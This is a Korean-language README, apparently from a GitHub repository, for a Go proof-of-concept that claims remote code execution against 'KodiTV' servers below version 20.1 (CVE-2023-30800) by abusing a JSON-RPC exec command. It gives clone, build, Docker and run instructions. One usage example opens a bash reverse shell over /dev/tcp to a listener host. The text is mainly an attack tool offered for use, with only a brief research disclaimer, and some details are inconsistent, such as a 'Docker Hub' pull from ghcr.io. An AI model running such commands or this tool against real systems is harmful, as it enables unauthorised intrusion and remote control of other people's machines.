
KodiTV <버전 20.1>용 CVE-2023-30800 개념 증명(Proof of Concept) — Go로 작성됨
이 도구는 KodiTV 버전 20.1 미만의 취약한 설치를 공격하여 셸을 획득하는 방법을 보여줍니다. RCE는 서버의 JSON-RPC 기능을 남용하여 exec 명령을 실행합니다.
본 도구는 교육 및 연구 목적으로만 사용해야 합니다. 승인되지 않은 시스템에서 사용하면 불법이 될 수 있습니다.
| 정보 | 값 |
|---|---|
| 도구 이름 | CVE-2023-30800 PoC |
| 언어 | Go |
| 공격 유형 | 원격 코드 실행 (RCE) |
| 대상 소프트웨어 | KodiTV |
| 대상 버전 | < 20.1 |
| 포트 | 8080 |
| CVE | CVE-2023-30800 |
Go가 설치되어 있고 환경이 구성되어 있는지 확인하십시오. 그런 다음 리포지토리를 복제하십시오:
git clone https://github.com/user/CVE-2023-30800_PoC_go.git
cd CVE-2023-30800_PoC_go
go.mod 파일이 아직 없는 경우, 다음을 실행하여 생성하십시오:
go mod init cve-2023-30800-poc
go mod tidy
도구를 사용하려면 다음 명령을 실행하십시오:
go run main.go -u <target_url> -p <port> -c "<command>"
<target_url>: 대상 KodiTV 서버의 IP 주소 또는 호스트 이름<port>: KodiTV 웹 인터페이스의 포트 (기본값: 8080)<command>: 대상 시스템에서 실행할 명령go run main.go -u http://192.168.1.10 -p 8080 -c "id"
go run main.go -u http://192.168.1.10 -p 8080 -c "bash -i >& /dev/tcp/192.168.1.20/4444 0>&1"
참고: 역방향 셸을 사용할 때는 대상이 연결할 수 있는 IP에서 리스너를 실행 중인지 확인하십시오.
Docker Hub에서 도구의 Docker 이미지를 가져올 수도 있습니다:
docker pull ghcr.io/user/cve-2023-30800-poc:latest
이미지를 가져온 후 컨테이너를 실행하십시오:
docker run --rm -it ghcr.io/user/cve-2023-30800-poc -u http://192.168.1.10 -p 8080 -c "id"
만약 컨테이너 내부에서 명령을 실행해야 한다면:
docker run --rm -it --entrypoint /bin/sh ghcr.io/user/cve-2023-30800-poc
8080에서 수신 대기 중인지, 방화벽이 연결을 차단하지 않는지 확인하십시오.exec 명령이 작동하지 않음: 서버가 exec 명령을 지원할 만큼 충분히 높은 권한으로 실행 중인지 확인하십시오.이 도구는 보안 연구원과 교육 목적으로만 제공됩니다. 저자는 이 도구의 무단 사용이나 불법 활동으로 인한 오용에 대해 책임을 지지 않습니다. 항상 이 도구를 사용하기 전에 대상 시스템 소유자의 허가를 받으십시오.
중요: 이 PoC를 사용하는 방법에 대해 질문이 있거나 문제가 발생하면 GitHub 리포지토리에서 이슈를 여십시오.
| 플래그 | 설명 | 기본값 |
|---|
-u | 대상 URL/IP | "" |
-p | 대상 포트 | 8080 |
-c | 실행할 명령 | id |